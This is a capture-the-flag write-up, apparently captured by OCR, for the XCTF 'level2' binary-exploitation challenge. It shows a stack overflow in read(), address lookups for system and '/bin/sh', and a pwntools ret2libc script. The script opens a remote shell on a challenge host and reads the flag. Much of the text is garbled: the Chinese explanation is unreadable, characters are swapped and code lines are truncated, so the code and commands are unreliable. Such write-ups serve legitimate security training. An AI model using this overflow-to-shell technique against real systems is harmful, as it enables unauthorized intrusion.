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:~# cd pwn/xctf/level2
] # checksec level2
[*] '/root/pwn/xctf/level2/level2’
Arch: i386-32-little
RELRO:

Stack:
NX:
PIE:
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# chmod a+x level?2
# ./level2

Input:
049999999999999999999999999qqqqqqq

Hello World!

# 1

ERB|IDARH:

int __cdecl main(int argc, const char **argv, const char **envp)

{

vulnerable_function();
system("echo 'Hello World!'");
return ©;

0 uUl 4 W

}

ssize_t vulnerable_function()

{
char buf; // [esp+@h] [ebp-88h]

system(“echo Input:");
return read(e, &buf, exleeu);
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}
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SP L BRI, ARIRATET LA Z R Bsysteme& B /bin/sh’ % 8, Bid 38K KropH R K 3K18 R AR .
AR RN T system ik Fth kil 2 0x08048320

i‘f ;uh_S&SBOO .plt:98048320 command = dword ptr 4

F read .plt:08048320
e |- plt:08048320 jmp ds:off_884A010

| F] __emon_start__ / .plt:@8048320 _system endp
__ libec_start_main ot .plt:ege4832e

[F] tart //,/’/ CPLE1@BOAB326 § - <o
__x86_get_pc_thunk_bx .plt:88048326 p-uSh 8

| f| deregister_tm_clones = |.plt:©804832B jmp sub_8048300

| f| register_tm_clones —1 |.plt:e8e48330 ; [eeeeeee6 BYTES: COLLAPSED FUNCTION ___ gmon_start__. PRESS CTRL-NUMPAD+ TO EXPAND]
__do_global dtors_aux LPlEI@BO4B336 ;oo

| f | frame_dummy .plt:68048336 push 16h

| f| vulnerable_function = |.plt:©804833B jmp sub_8048300

| f| main " |.plt:ese4834e ; [eeeeeee6 BYTES: COLLAPSED FUNCTION __ libc_start_main. PRESS CTRL-NUMPAD+ TO EXPAND]
__libc_csu_init LPLE:I@BBABIA6 § -~ - - m i m e
—libe_esu_fini .plt:08048346 push  18h

| £ _term_proc L |.p1t:es048348 jmp sub_8048300

|£] read .plt:@8e48348 ; } // starts at 8e4s3ee

|£] system . .plt:08048348 _plt ends
__libe_start_main .plt:08048348
s . text:@8@A48350 ; ====s==mmsmmmmommmmmmmmmmoomoomoooosomoeoooooooooooooooooooo—oooooo
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# ROPgadget --binary ./level2 --string "/bin/sh"

Strings information

0x0804a024 : /bin/sh
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from pwn import*

r= ("159.138.137.79",54645)

sysaddr= 0x08048320

binshaddr=0x0804a024

payload="a"*0x8c+ (sysaddr)+ (0)+ (binshaddr)
r. (E)AELD)

r. 0

Z3lflag 7!

# python 2.py
[+] Opening connectlon to 159.138.137.79 on port 54645: Done
[*] Switching to interactive mode
Input
1s
bin
dev

flag
level2
lib
1lib32
lib64
cat flag
cyierpeace{84d6bb773clllazﬂac653593519929c6}
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